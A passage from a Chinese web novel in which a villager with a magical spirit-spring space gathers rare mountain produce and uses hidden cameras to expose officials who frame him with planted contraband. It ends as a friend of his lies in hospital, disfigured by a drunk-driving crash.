他激动地几乎喊出声，沿水岸快步查看，果然在其他区域也发现了成群的紫鳝。 强压下沸腾的心情，他小心地捞了十多条紫鳝，这才心满意足地退出灵泉空间。 回到外界，夕阳已西沉。他将大青、小白带出空间，明显感到大青愈发神骏威武，小白似乎也又长大了些。 “走，回家！” 走出山口，莫天扬将打包好的山货用那根磨得发亮的木棍担起。寒意渐起的空气中，他深吸一口气，弯腰挑起担子，迈着大步朝远处灯火点点的青木村走去。 回到村里，天已彻底黑透。一直等候的李国强、陈宏利等人赶忙迎上来，接过袋子分开背负，一起走回大院。 大院外灯光明亮，映照在一个个鼓鼓囊囊的麻袋上。胡标等人看着莫天扬破烂不堪的衣衫，不禁连连摇头。他们虽不知他在山中经历了什么，但从这身破损的衣裳就能看出，莫天扬带回这些山货定然吃了不少苦。 “怎么把自己弄成这个样子……”刘思雨走上前，声音里难掩心疼。 莫天扬只是淡淡一笑：“今天没回去？” 刘思雨嗔怪地白了他一眼：“要你管！”说话间，她已弯腰去翻看袋子，迫不及待地想看看他带回了多少那种神秘的黑色鸡心柿。 第一百七十二章杀意起 “天哪，这么多松茸！” “这黄鳝，得有二十多斤吧！”…… 一声声惊叹此起彼伏。每一个解开袋子的人，在看到里面满满的山货时，都难掩激动地看向莫天扬。 “哇，真的是黑色鸡心柿！”刘思雨惊喜地叫出声。 她这一喊，所有人都围了过去。连一直站在门口含笑看着众人的莫啸都不由得一愣，转头看向莫天扬。 “黑色鸡心柿？”他问着，眼中透出一丝罕见的意外。 莫天扬点点头，指了指在人群外悠闲打转的小白，“是小白的功劳。” 莫啸摇摇头，语气带着赞许：“这小东西，运气还真是不错。” “爷爷，您见过黑色鸡心柿？” 莫天扬这一问，胡标、刘思雨等人都齐刷刷看向莫啸。 莫啸点了点头，缓缓说道：“这东西，比紫皇菇、松茸还要稀罕。虽说以前不算值钱，但味道极美，老辈人传说常吃能养颜美容。我当年经常进山，也不过见过三两次。你小子这一下弄回来这么多……记住，一定留好种子。” 陈宏利他们忙着清理野味，其他人则分头收拾山货，将它们一一摊开晾好。但所有人都很默契，没有去动那些黑色鸡心柿。 厨房里，看着堆在角落、足有三四十斤的黑色果实，莫天扬摇摇头说：“标叔，每个鸡心柿里种子都不少，洗一半出来给大家尝尝鲜，剩下的留种就够了。” “那怎么行？”胡标连忙说，“莫叔都说了，他都没见过几次。你能遇到是天大的运气，得多留些种子！” 莫天扬淡淡一笑：“没事，山里还有，我这两天再去一趟。” 听他这么说，曹建华、曹慧他们才动手，洗了一半端进餐厅。莫天扬没有出去——灵泉空间里多的是，他可不想和胡标他们抢这点儿。 正当莫天查看曹建华他们准备食材时，刘思雨吃着一個鸡心柿走进厨房，嘴角还沾着点紫黑的汁渍：“大家说了，晚上喝点稀饭就行，不想吃饭了。你快去洗洗换身衣服，等下慧姐来做点简单的。” 莫天扬点点头，弯腰凑近她耳边轻声说：“我在山口还藏了不少，明早给你放车那边。” 感受着他呼出的热气，刘思雨俏脸一红，转头飞快地在他脸上亲了一下：“知道啦，到时我分些给若曦。”说完便快步溜出了厨房。 莫天扬摸了摸脸颊，不由笑了笑，转身回房…… 等他洗完澡、换好衣服出来，正在客厅看电视的陈峰笑着说：“天扬，慧慧给你烙了馅饼，还炒了菜，快去吃吧。” “峰叔，你们不吃点？” “天扬啊，怪不得莫叔都那么说，这黑色鸡心柿真是好吃，我吃了三四个就饱了，刚喝了口稀饭，现在一点不饿。你累了一天，快去吃点。” 走进餐厅，只见刘思雨、陈宏利几个年轻人还在。“天扬，你等等，厨房专门给你留了馅饼和炒菜。” “标叔他们呢？” 刘思雨咯咯一笑：“标叔他们怕鸡心柿放坏了，都去弄种子了。我们又吃了不少果肉，现在撑得不想动。你要不要也吃点？给你拿些？” “我在山里吃了很多，不吃了，吃几张馅饼喝点稀饭就行。对了，给大青、小白准备吃的没？” “早准备好啦，炖了鸡肉和猪大骨。” “你自己都顾不上，却记得大青、小白，你这主人当得可真称职。” 莫天扬淡淡一笑：“我能带回这么多顶级山货，找到黑草莓、鸡心柿、金银枣，可都靠它们。再说它们给我看家护院，不对它们好点能行？” 吃了几张馅饼，喝了一碗稀饭，莫天扬舒了口气，问刘思雨：“思雨，上午那些人过来，你回来了没有？” “能不回来吗？乡里特意叫我来的，就怕你犯浑，结果你正好不在。” “他们……怎么样？” “挺正规的，查了所有手续，在酒坊、豆芽房里仔仔细细检查了一遍，只让一个人跟着。” 莫天扬看向陈宏利几个：“你们谁跟着的？” “我和红兵。他们确实很规范。” 莫天扬点点头：“那就好。” “天扬，你……是担心什么？”刘思雨轻声问。 莫天扬目光闪动了几下：“别忘了前几天我让安云飞下不了台，他被村里人嘲笑，你们觉得他能忍住？” 这话一出，刘思雨和陈宏利几人脸色都微微一变：“你的意思是……” “我也只是担心。既然他们是正规检查，那就没问题。” 大家又闲聊了一会儿，胡标他们回来了。“天扬，鸡心柿的种子都挑出来了，明天晾出去，一两天就能收好，数量还真不少。” “那些果肉呢？” “大家分分吧，这东西切开就放不住。” “行，那就分了吧。你们也早点休息。” 等胡标他们离开，莫天扬转身走向酒坊那边：“强哥，你那天装监控的时候，酒坊和豆芽房里有没有……” 李国强点了点头，转身出门谨慎地环视了一圈，回来后压低声音道：“天扬，你前几天才让安云飞在这儿丢尽了脸，这才过了几天，他们就借检查之名上门——幌子打得是不错，可你觉得，他们手脚能干净吗？” 莫天扬脸色倏地一沉：“强哥，你是说酒坊和豆芽房他们……” 李国强淡淡一笑，神色却冷静：“从你那天跟我提监控的事，我就懂了你的顾虑。酒坊和豆芽房几个关键角落，我都装了隐蔽摄像头。他们只让宏利和红兵跟着，根本盯不住所有人——果然，他们两边都做了手脚。” “这群人渣！”莫天扬咬牙道，“我回去就看录像。” “下午我已经去你房里把证据都拷贝出来了，”李国强说着拿出手机，“这就发给你。我估计，最多一两天，他们就会借题发挥来找麻烦。到时候……你看着办。” 莫天扬快速浏览完李国强发来的视频片段，眼中寒意凛冽：“为了一点私利，连这种害人的事都干得出来……他们简直不配为人！” 李国强深吸一口气，语气沉重：“这还只是小县城。在大城市，这种肮脏手段只多不少。天扬，我知道你从不愿主动害人，但有些人……不得不防。等院子全部建好，不光是院内，外围也得全面覆盖监控。” 听他这么说，莫天扬不禁暗自庆幸——当初无意中帮了王海龙一把，对方知恩图报，这才有了李国强、徐明辉他们的到来。至今在浅驼那边，还有他们四位信得过的兄弟驻守。 若不是当初那一点善念，这次恐怕真要被安云飞阴得难以翻身。 见莫天扬神色凝重，李国强沉吟片刻，又低声提醒：“王海龙传来消息，那个林浩宇……可能很快就要出来了。林家老爷子眼里容不得沙，可他的那些后辈，却一直在纵容林浩宇。等他出来，恐怕会因之前的事迁怒于你，你得提早准备。” 莫天扬目光一凛：“他们难道不清楚？就是这种无底线的纵容，害得多少普通人家破人亡！像林浩宇这种仗着家世胡作非为的东西——根本死不足惜！” “天扬，我们都明白你的心情，”李国强声音沉了下来，“但别忘了，我们终究是法治社会。” “法治社会？”莫天扬冷笑，“却治不了林浩宇那种人。对付这种人渣，有时候只能以恶制恶——只有这样，才能让更多普通人不受他们的祸害！” 李国强长叹一声。他们这群人身份特殊，何尝不理解莫天扬的话？只是很多时候，不是不愿，而是不能。 沉默片刻，他再度开口，语气郑重：“天扬，你体质异于常人，这几个月虽然你很少出村，但结下的仇家不少——别说林浩宇，就一个莫栓，听标叔说就曾找了好几批混混对付你。要不是大青，你恐怕早就……” 莫天扬点点头。不止在村里，之前在浅驼他就被黑虎那伙人追过几条街。若不是灵泉改造后身体蜕变，那时他可能真就废了。 “强哥，你意思是……” “你知道我们的来历。你现在空有一身力气，但如果真遇上像我们这样经过训练的人，你根本毫无还手之力——对方可以轻易废了你。”李国强注视着他，语气严肃，“很快天就冷了，村里也没太多农活。如果没事……跟我们学点防身术吧。” 莫天扬眼睛顿时一亮。他见过王海龙他们出手，干脆利落，面对持械的混混，随便一人都能轻松摆平十来个。 如果自己能学个几招，往后即便再遇到黑虎那样的人，就算不能全胜，至少也有了自保的底气。 “强哥，行！你定时间，我跟你学。” “我们可以教你，”李国强神色极为认真，“但你要答应我：绝不能拿我们教你的东西去为非作歹。如果真有那么一天……别怪兄弟不留情面。” “强哥，”莫天扬迎上他的目光，语气坚定，“你觉得我会是那种人？” 李国强摇了摇头：“现在的你，绝不会。但有句话说得对：人一有钱，容易变坏。我不希望将来有一天，兄弟反目。” 莫天扬正色答道：“我不敢说未来我会变成什么样，但我能保证：我绝不会主动变坏。如果我出手——那对方，一定是个恶人。” 第一百七十三章一击致命？ 原本第二天莫天扬还打算进山，可因为那些人在酒坊和豆芽房动了手脚，他不得不改变计划。 按照李国强的建议，本应尽快将被动过手脚的大瓮清理掉，但莫天扬没有同意。他就是要等对方主动找上门来，看看他们究竟想做什么，最后再将他们丑陋的嘴脸公之于众。 他暂时动不了安云飞，那就先斩断安云飞驱使的爪牙。失去了这些爪牙，安云飞必然会方寸大乱，到那时，自然就有机会让他自取灭亡。 果然如李国强所料，正当莫天扬在房间安静看书时，陈宏利急匆匆找来：“天扬，那帮人又来了！除了昨天那几个，还带了执法者！他们说你在酒和豆芽里添加了让人上瘾的违禁品！” 莫天扬淡淡一笑，放下书，在陈宏利肩上轻轻拍了几下：“我算着他们也该来了。走吧，去会会他们。” 陈宏利不由一愣。他和莫天扬从小一起长大，彼此再熟悉不过。自从回村以后，他们也经历了不少风浪，可这一次情况非同小可——一旦坐实，莫天扬很可能面临牢狱之灾。但此刻的莫天扬，却显得异常平静，仿佛这件事根本与他无关。 “天扬，这酒、这豆芽都是我们看着做的，别说我们，全村人都不信你会用那东西害人！我猜就是昨天那帮王八蛋搞的鬼！要不你先出去躲一躲，一切有我们几个顶着！” 陈宏利这番话让莫天扬心头一暖。四年大学，陈宏利他们四个不仅回村帮忙照顾爷爷，还时常偷偷给他打钱。没有他们，自己未必能顺利毕业。如今明知被人做了局，他们却毫不犹豫要替他扛下这牢狱之灾…… 莫天扬停下脚步，又在陈宏利肩上拍了拍：“宏利，放心吧，你就等着看好戏。” “你是不是……早就知道了？” 莫天扬淡然一笑：“安云飞是什么货色，村里谁不知道？我那天让他连裤衩都输光了，他能放过我？别人请不动那些人，但他可以。” “好小子……听思雨说你昨天回来很晚，难道你……” “没事。不放长线，怎么钓大鱼？他不是想让我进去吗？我倒要看看，他保不保得住那些来找事人的饭碗！” “那我去跟我爹他们说一声，他们都吓得走不动路了。” 莫天扬摆摆手：“等等再说。” 酒坊和豆芽房已被执法者控制，酿酒和生豆芽的大瓮都被贴上了封条。有几个大瓮里的豆芽和酒糟被翻得乱七八糟，散落一地。 酒坊周围，青木村的村民几乎都聚了过来，低声议论着，不时抬头看向胡标他们，眼中充满不解与担忧。 莫啸是村里的老人，多年来一直乐于助人，不仅在青木村，就连十里八乡都享有声誉。莫天扬更是大家看着长大的，没人相信他会在酒和豆芽里加那种东西——谁都知道，莫天扬他们自己每天都在吃这些，如果真有问题，他怎么可能自己食用？ 莫天扬一到来，所有人的目光都聚焦在他身上。见他一脸平静，许多人心里更是诧异。 “莫天扬是酒坊和豆芽房的主要责任人，把他抓起来！” 这一下，胡标他们可急了。莫天扬虽然年轻，但已是他们的主心骨。一旦他被抓，谁还能带领大家致富？ “你们干什么！你们这是要包庇罪犯、妨碍执法吗？” “标叔，没事，别担心。” 莫天扬边说边看向一个方向，朝李国强微微点头。李国强会意，悄然离去。 两名执法者上前给莫天扬戴上手铐，他没有反抗，目光却直视刚才发话的中年人： “怎么连‘嫌疑人’都不提了？我直接就成了‘罪犯’？就算认定我是罪犯，至少也该让我知道我犯了什么罪吧——拘留证呢？” “早就料到你会负隅顽抗。别说拘留证，连你的犯罪证据我们都带来了——拿给他看！” 莫天扬接过对方递来的所谓“证据”，快速扫了一眼，随后转向胡标等人：“标叔，把这些‘证据’都拍下来，一页也别漏。” “你想干什么？！”对方厉声质问。 莫天扬冷然一笑：“你们既然拿这些说我犯罪，我总得留个底吧？将来法庭上总要用到的，不是吗？” 就在陈宏利几人拿出手机拍摄时，一位白发苍苍的老人颤巍巍地走向莫天扬，声音发颤：“天扬……你、你真的在酒和豆芽里加了那种害人的东西？” “张爷爷，我们天天都吃自己做的豆芽、喝自己酿的酒。要真加了不该加的东西，我们敢这么吃吗？” 老人点点头，转身望向那群执法人员，语气坚定：“你们都听见了！天扬是我们看着长大的孩子，他爷爷更是咱十里八乡公认的老好人！天扬绝不可能做这种事！你们……是不是搞错了？” “我们怎么可能弄错？办案讲的是证据！昨天联合执法队抽检的样品里检出了违禁成分，今天我们又在这酒坊和豆芽房里搜出了违禁品！” “天扬……”老人担忧地看向他。 莫天扬冷哼一声，声音清晰而凛冽：“好一个‘证据’！栽赃嫁祸，你们倒真做得出来！” 这话一出，现场顿时一片哗然。胡标等人更是瞪大了眼睛：“天扬，你是说……” “莫天扬！你竟敢这样诬蔑！你的罪名现在又多了一条——诽谤执法人员！我们全程录像，你要为自己说的每一个字负责！” “对！有证据你就拿出来！” “你以为我没有证据，就敢这么说？”莫天扬目光如刀，扫过对方每一个人，“我的证据，已经全部发到了网上。想要看？自己去搜！” 他话音未落，那群人脸色骤变，纷纷掏出手机。片刻之后，所有人面如土色，有人甚至手都开始发抖。 “你……你在酒坊和豆芽房里……装了监控？！” 莫天扬冷冷一笑：“要是没装监控，我岂不是真要被你们送进去了？我真没想到，身为公职人员，竟能做出栽赃嫁祸这种事！现在——我要报案，不知你们受不受理？” “莫天扬！你立刻把网上的视频删掉！我们……我们会还你一个公道！” 莫天扬缓缓举起被铐住的双手，语气讽刺：“这就是你们说的‘公道’？” “给他打开！” 手铐应声而落，莫天扬活动了一下手腕，平静地问：“还需要我配合你们什么吗？” “你快把那些视频删了！” “晚了。”莫天扬神色淡然，“我出来之前，就已经把所有证据传给了沛川那边。这会儿……他们的人，应该已经在路上了。” 这句话彻底击垮了对方最后一丝镇定。他们心里清楚，这事一旦捅上去，所有参与的人全都完了——谁也没想到，莫天扬竟会在看似简陋的作坊里安装监控！ 来人纷纷慌乱地联系上级，而莫天扬和村民一下子成了看客，静看这场闹剧如何收场。 没过多久，那群人个个面如死灰，一句话也说不出来，狼狈地转身离去…… “天扬，你啥时候装的监控？我们咋都不知道？” “标叔，不管是酿酒还是发豆芽，卫生安全都是第一位的。万一有什么问题，有监控也好说清楚。所以搬过来之后，我就请强哥悄悄装上了。” “幸亏你装了监控！不然这次可真被他们阴死了！” “我猜肯定是安云飞搞的鬼！那天你让他丢尽了脸，他这才找人害你！” “安云飞真不是个东西！跟莫老三一个德行，连自己村的人都害！” 就在众人议论纷纷之时，莫天扬默默回了一趟家。再出来时，他已背起行囊、拎起那根磨得发亮的木棍，如同往常进山一样，神情平静地招呼上大青和小白，朝着青木山的方向走去。 刚刚走到青木山的山口，莫天扬的手机就发出震动声，他拿出手机，在看到手机上显示的号码，那是一个无比陌生的号码，这让莫天扬一愣。 “你找谁？” “天扬，我是你姐，你看能不能……” “滚，有多远滚多远。” 莫天扬直接挂断电话，电话那头，莫云眼眸中满是怨毒，狠狠将手机摔在地上，手机应声而裂。 “小云，那个小畜生。” “直接挂了。” “云飞，你带过去的人难道都是瞎子，他们就没有看看有没有监控。” “我专门托人在村里打听过，没有听说他安装监控，进去的人也看了，他们也没有看到监控，他们才动手，如果有监控的话，他们早就和我说了。” 莫云摇摇头，|“现在网络上已经吵翻天，这该怎么办。” 安云飞深吸口气，“我倒是没事，我也是在酒桌上说起，他们那些人询问了一下那个小畜生的情况，就擅自做主。” “那他们会不会……” “他们知道事情的严重性，他们不敢。” “那也不一定，你去看看，如果能找人的话……” 安云飞点点头，“我找人看看，他们可都是为提拔上来的，如果这一次真的出事，我这以后连个可用的人都没有了。” 第一百七十四章偷鸡不成 踏入青木山深处，莫天扬回头望了望来路。出发时已近十点，他本就是为了远离外界的纷扰，才选择再次进山。 “大青，你们在外面守着，我进空间看看。” 灵泉空间内，那片松柏林已与青木山中的古老森林别无二致，树木参天而立。唯一不同的是，这里的林地上落叶不多，反而野草繁茂，几乎长到莫天扬的胸口。 草丛中随处可见肥嫩的松茸。灵泉空间的蜕变不仅让松林茁壮成长、松茸遍地，更孕育出了只有在原始松林中才能自然生长、无法人工培育的稀有菌类。 金黄色的松树菇、与松根共生的松针菇、色泽油润的黄油菇……山客们在深山里能找到的菌类，几乎都能在灵泉空间中看到踪迹。 昨天莫天扬只采摘了松茸，而今天，这些营养价值与经济价值俱佳的菌类也成了他的目标。 采完蘑菇，莫天扬又转去黑色鸡心柿生长的区域…… 大半天时间，他都在灵泉空间中忙碌。等一切准备妥当，莫天扬才离开空间，一眼就看到不远处又多了十来只山鸡和野兔——显然是大青它们的收获。 夜幕低垂，大院厨房后的锅楼房内灯火通明。人们围看着莫天扬带回来的山货，纷纷感叹不已。 “天扬，你每次进山都能找到这么多好东西，这次还摘回来这么多松树菇、松针菇！” 莫天扬嘿嘿一笑：“勇叔，今天进山晚，没找到多少松茸，就顺手摘了些松树菇……” “你以前该不会看不上这些，都不摘吧？” “有松茸的话，谁还特意摘这些呀。” 这话让胡标几位老人不禁摇头——松树菇、松针菇在他们眼里已是难得的好东西，别人想找都找不到，可在莫天扬这儿，竟根本不算什么。 “天扬，你这话要让村里人听见，非得骂你不可。” 莫天扬哈哈大笑：“那没办法，谁让我身边有大青和小白呢！” 众人纷纷摇头，心里却清楚他说的是事实。他们进山既要提防野兽，又怕迷路，而莫天扬有大青、小白相伴，这些根本不成问题。更何况他还能驱使青狼寻找顶级山珍，雪灵菇、紫皇菇、松茸……他一次能找到别人一年都遇不到的量，看不上松树菇这类山货，倒也正常。 “宏利，昨天的黄鳝呢？”莫天扬见陈宏利正把今天带回来的黄鳝倒进大盆，忽然想起昨天的收获。 “还在桶里放着呢，今天不是出了那档事嘛，还没来得及收拾。” “快拿过来，昨天我忘了说，那里面可有十来条紫鳝！” 莫天扬这话一出，不止胡标他们，连莫啸都顿时来了精神：“快拿来！” 一个大水桶被抬过来，众人凑近一看，顿时发出一片惊呼——桶口处赫然有十来条近一米长、不断翻动的紫鳝，鳞片在灯光下泛着神秘的紫色光泽。 “小子，你从哪儿找来这么多？”莫啸带着惊讶看向莫天扬。 “莫叔，原来真有紫鳝啊！” 莫啸深吸一口气：“你们以为我平时讲故事哄你们呢？别说紫鳝，就是黄鳝在青木山里也只在某些特定区域才有。紫鳝更是稀少，我这辈子也就见过几次，这小子一次竟能抓到这么多！” “天扬，你这是……” 莫天扬嘿嘿一笑：“不是早跟您们说过吗，那条溪流有黄鳝。这段时间我每次去都会仔细找，昨天发现了一片地方，应该是个紫鳝窝。” “你小子……该不会全抓光了吧？” “哪能啊！留了几十条小的，等明年长大了再抓。” “宏利，留些黄鳝今晚吃，剩下的都放到池塘里去。一旦它们在塘里繁衍开来，往后咱们就有口福了！” “好嘞！” …… 晚饭后，众人聚在客厅。莫天扬看向刘思雨，问道：“思雨，县里那边怎么样了？” 刘思雨摇摇头：“你这一招太狠了。别说沛川，连省里都高度重视。昨天参与的那些人全被带走调查了，照这个态势，不只他们，就连他们的直属领导也难辞其咎。这次不知道有多少人要丢饭碗。” “他们的权力是公民赋予的，却用来滥用职权。这种人，根本不配穿那身制服。”莫天扬声音转冷，“对了，安云飞呢？” “安云飞也被叫去问话了，但没被带走。” 胡标皱起眉头：“这次栽赃陷害明显是安云飞为了报复天扬，他怎么没事？” 莫天扬轻轻叹了口气：“这就是安云飞高明的地方。” “他就是个祸害！真不知道为啥还有那么多人信他，心甘情愿替他卖命！” 莫天扬摇了摇头：“这就不清楚了。不过他一直这样下去，那些被他害惨的人迟早会爆发，到那时，就是天王老子也救不了他。” “天扬，你到底是什么时候装的监控？” 莫天扬深吸一口气，解释道：“就是那天他过来之后。他拿不到屠苏的配方，肯定不会罢休，必然会想办法毁掉我们。一旦屠苏出事，他就能用更多的手段从我这里拿到配方，所以我私下就让强哥去买了监控设备悄悄装上。” “那你也该告诉我们一声啊！你是没看到，今天早上我爹、标叔、勇叔他们吓得腿都软了，路都走不动！” “如果连标叔他们都知道了，反而就演不出今天这个效果了。” “天扬说得对。那帮人一个个都是人精，昨天咱们拼命阻拦，他们才觉得我们毫无准备，更容易露出马脚。” “这次只能说是侥幸。以往是因为莫栓，而这一次，我不只让他丢尽脸面，还连累了他一手培养的人被立案调查，有人甚至会为此丢了饭碗。接下来只要一有机会，他必然会疯狂报复。所以大家一定要加倍小心。” “这要是放在过去，我非得替天行道不可！” 莫天扬立刻看向陈宏利，正色道：“宏利，现在可是法治社会，千万不能有这种念头。” “对了，这都两个多月了，你对象谈得怎么样了？” “唉，都是一群见钱眼开的。不光要求县里买房，还非要来你这上班，要赚的和我们一样的工资。” 莫天扬不由得摇头：“这种货色，白送都不能要。等咱们真正有钱了，什么样的人找不到？” “天扬说得对！只要咱们发展好了，好姑娘自然会找上门。那种眼里只有钱的，再好也不能要。” “天扬，那豆芽房和酒坊那边……” “被他们动了手脚的地方先别动，等等看浅驼那边会不会给我们一个说法。这次也算给我们提了个醒：以后酒坊、豆芽房，无关人员一律不准进入。咱们自己也得更加注意，明天就弄个专门的消毒区，进出必须消毒。” …… “大掌柜，王传林他们几个又有新动作了——注册了一家农贸公司。” “哦？有点意思。注资多少？” “五十万。不过法人不是王传林他们中的任何一个，而是那个莫天扬。现在是李红军在主持公司日常，其他的人都在外面跑业务。” “才五十万，这应该是他们最后的家当了，他们已经没有发展的必要，找机会，把它搞掉。我倒要看看，他们能拿出多少钱折腾。” “他们目前只做些转手买卖，业务量不大，也就几千块的流水。” “按理说，王传林那几个人能力不差。就算没有大业务，小单子应该不少，怎么……” “他们好像并没有在我们这边的市场拓展业务。” “去查清楚，他们具体在做哪些业务。” “还有一件事……” “老八，一般的事你处理就行，别总往我这儿跑，会引起别人怀疑。下次过来换身普通衣服，低调点。” “是。是浅驼那边出事了。” “浅驼？安云飞？” “对。安云飞带人去青木村，本想跟莫天扬合作拿到屠苏配方。但他只想按分红形式，一年给莫天扬二十万。结果莫天扬直接开价八千万，还对他冷嘲热讽。安云飞就派人去栽赃，没想到莫天扬留了一手……现在不少人已被立案调查。” “这个废物！这么点事都办不好，还把自己人搭了进去。他自己呢？被带走了没有？” “那倒没有。” “还算他有点脑子。这次他要是进去了，神仙也救不了他。所以……屠苏配方拿到了吗？” “屠苏根本没有流到外面，只有莫天扬他们自己人在喝，连张学涛都没拿到。不过据尝过的人说，屠苏的口感确实极好。” “他不是已经酿出一批了吗？安云飞他们去了，难道一点样品都没弄到？” “派去的人根本没在酒坊里看到成品酒。他应该是把药酒都搬回家，或者提前运出去了。” “有意思。继续查，那小子敢开出八千万的分红，屠苏应该不错，不管花多大代价，必须搞到屠苏的样品。” “那安云飞那边……” “那个废物虽然没用，但目前暂时还找不到能顶替他的人。你盯着点，别让他出事。不过——必须狠狠敲打他一次！不然这蠢货以后还不知道要惹出多少麻烦！” 第一百七十五章毁容 天气一天天转冷，原野上已经看不到一丝绿色，就连青木山的外围也铺满了深秋的金黄。 莫天扬的日子过得忙碌而充实。每天早上，他先在酒坊和豆芽房忙活一阵，等陈宏利他们到了，就带上大青和小白进山。偶尔一整天不回来，再出现时，总能带回一大堆山货。 到了晚上，李国强他们会在地下室教莫天扬防身术。深知自己眼下麻烦不少，莫天扬学得格外认真，几乎每一天都在进步，连王海龙他们都忍不住惊讶。 “天扬，雀沟那边的工程今天差不多要收尾了，你不去看看？” 正准备照常带大青、小白进山的莫天扬一愣，抬手拍了拍已经比大青还要大上一圈的小白的脑袋： “走，咱们先去雀沟转转，从那儿进山。” 雀沟——这条承载了青木村所有人记忆的老沟壑，如今已经看不到一株树木。两侧的绝壁做了排险加固，沟底只有乱石嶙峋处还残留着大火烧过的痕迹。曾经长满胡杨、红柳和酸溜溜的地块，如今大多盖上了草帘。 踩着草帘往青木山方向走去，莫天扬看见雇来的工人们还在忙着铺盖最后一些草帘。一见他来，不少人停下手里的活儿打招呼。 “天扬，来啦？” “这段时间辛苦大家了。明天中午大家都过来，我请吃饭！菜不一定多好，但一定管饱。” “天扬，你太客气了。我们常年在外打工，谁家的饭菜都不如你这儿。工资还十天一结，往后有活儿让标叔打个电话就来！” “没问题！这段时间大家都铆足了劲给我干活，我们都看在眼里。明年开春肯定还叫大家！”莫天扬笑着应下，又提醒道：“铺完草帘再四处看看，盖土不严实的地方补点土。咱这儿冬天风大，别给掀翻了。” “这活儿上午就能收尾，下午我们全面检查一遍。要是明年这儿真能种出菜来，我们可就有长期活儿干啦！” “这话说得在理。等我这边正式开工，一定联系大家。不敢说一年能挣多少，但至少比背井离乡、外出打工强！” “那肯定！在你这儿一个月两千四，中午管饭，早晚都能在家吃，净落两千四，比在外面强多了！” 莫天扬哈哈一笑：“那就说定了！明天都早点过来，咱们吃顿圆工饭！” “天扬，你这又是要进山？” “去山口转转，弄点野味。” 这话一出，工人们眼里都是藏不住的羡慕。他们在这儿干了有些日子，几乎天天看见莫天扬进山，每次回来都带着不少山货野味。这要是换别人，早就进局子了——可偏偏莫天扬身边总跟着大青狼，他吃什么野味，连执法者也拿他没办法。 “天扬……能不能卖我们点儿？” 莫天扬连忙摆手：“这些东西是青狼抓的，我自己吃还行，一旦卖出去可就犯法了。到时候别说你们，连我也得进去。明天我给大家多弄些野味，咱们一起吃个痛快！” 当夜幕降临，莫天扬背着大包小包的山货回到大院。众人正围坐在一起分拣整理，胡标抬头看向他，语气中带着关切： “天扬，山里现在……怎么样？” “山里比山外稍好一些，不过很多地方的草也都黄了。算下来，今年也进不了几次山了。” 胡标深吸一口气：“马上要过十五了（指农历八月十五），也就是今年你回来了。要是往年，这个时候大家早就闲得发慌了。” 莫天扬微微一怔：“什么时候过十五？” “还有半个来月。” 莫天扬点点头：“今年大家的过节的东西，都由我来准备。” 这话让众人都愣住了。胡标、陈峰、曹勇这些长辈连忙摇头：“天扬，今年我们从你这儿已经赚了不少钱，我们自己买就行。你用钱的地方还多着呢。” 莫天扬淡淡一笑：“我今年能赚到钱，多亏了大家帮忙。村里连放羊的过十五都能吃上饼子，大家帮了我这么多，我要是不表示一下，村里人还不得笑话死我？” “对了，工人的工资都结清了吧？” “都结清了。他们还说明天你要请他们吃圆工饭？” “我是这么说的。宏利，你们明天早点去县里，买点猪肉、羊肉、牛肉，再捎些菜回来，好好请大家吃顿圆工饭。” “你这也太破费了，他们来干活你又不是没给工钱。” “标叔，我就是要让他们记着我的好。这样以后咱们有活，一个电话他们就能过来。” “可咱们村的人也不少，你要是老找外村人，村里人恐怕……” “村里人确实不少，他们也想过来干活，但难免会有自己的想法。用外村人反而不用顾忌太多。有外村人带头，村里人就会想：总不能偷奸耍滑吧？要是那样，咱们也有理由不用他们。” “对了天扬，今天县里派人来了。” “他们怎么说？” “过来道了歉，赔偿了五千块钱。” 莫天扬摇摇头：“那些人呢？” “撤职六个，动手的那些人都被立案调查了，其余的都受了处分。” “安云飞呢？” “这倒没提。” “思雨呢？怎么没看见她？” “回去了，这会儿估计该到家了。” 话音刚落，莫天扬的手机就震动起来。他拿出手机，看着来电显示摇了摇头：“说曹操，曹操就到。” 走出锅楼房，莫天扬接起电话：“到家了？” “天扬……思雨出车祸了……”电话那头传来杨丽哽咽的哭声。 莫天扬脸色骤变：“阿姨，思雨怎么样？” “县医院不敢收，现在我们正往沛川赶……” “我马上过去！” “天扬，怎么了？”当莫天扬从外面回来，众人看到他凝重的表情，都是一愣。 莫天扬深吸一口气：“思雨出车祸了。宏利，你送我去县里，我得去一趟沛川。” “什么？思雨出车祸了？”所有人的脸色都变了。刘思雨来村里也有一段时间了，虽然是县里人，但一点架子都没有，还经常为莫天扬着想，大家早就把她当成了自己人。此刻听到这个消息，无不感到震惊。 …… 沛川人民医院，莫天扬在手术室外看到了双眼红肿的杨丽和神情凝重的刘成祥。见莫天扬赶来，刘成祥扶着几乎瘫软的妻子站起身。 “天扬，这么晚还让你赶过来……我们也是没办法。你看你阿姨这样，我也没经历过这种事，所以……” “没事，我和思雨是同学。思雨那边……怎么样了？” 刘成祥摇摇头：“还不知道。浑身都是血，头部伤得特别重。” “怎么回事？思雨开车一向很稳当，怎么会……” “是个货车司机，喝了酒……” “该死！”莫天扬怒声道。 在手术室外等待的五个小时，让莫天扬真切体会到了什么叫度日如年。当手术室的灯终于熄灭时，他第一时间迎了上去。 “医生，怎么样？” “全身多处骨折，左腿粉碎性骨折，内脏出血。经过手术，伤者已经没有生命危险，不过……”医生说着，目光转向刘成祥和杨丽，“你们是伤者家属吧？” “我们是。医生，有什么话您直说。” “伤者面部毁容严重，你们要做好心理准备。” “医生，我女儿还年轻，您一定要帮帮她！花多少钱我们都愿意！” “你们的心情我能理解。但她的脸部有两处贯穿性创口，大部分区域都被碎裂的玻璃扎入。即使整形，难度也极高。将来如果有条件，可以去国外看看。国外的整形技术比国内好，或许还有转机。” 医生这话如同法官一样，几乎是判了刘思雨恢复容貌的死刑，杨丽直接瘫软在地，就连刘成祥的神情都变得异常难看。 女孩注重的就是容貌，刘思雨更是天之骄女，一等一的美女，这如果毁了容的话，这对于她来说是最残忍的事情。 “叔叔、阿姨，医生说对，或许还有转机，”莫天扬这样说有他的道理，灵泉水的逆天他可是见识过，他身上的疤痕只是浸泡了几次就全部消失，他相信灵泉水可以让刘思雨变回到原来的样子。 当护士推着手术后的刘思雨出来，莫天扬都不由得摇头，刘思雨整个人都被纱布包裹，就好似一个木乃伊一样。 看到女儿的样子，杨丽直接晕了过去，莫天扬看向刘成祥，“叔叔，您带阿姨找个地方休息一下，这边我看着就行。” 看着杨丽的样子，刘成祥只能苦笑着点头，“行，我先将杨丽安顿下来，回头我过来替你。” 一间特护病房，莫天扬看着依旧昏迷的刘思雨，眼眸中满是惋惜，刘思雨极为要强，这好不容易有了一点事业，这就出了这样的事情，一旦刘思雨醒来之后，不知道会发生什么。 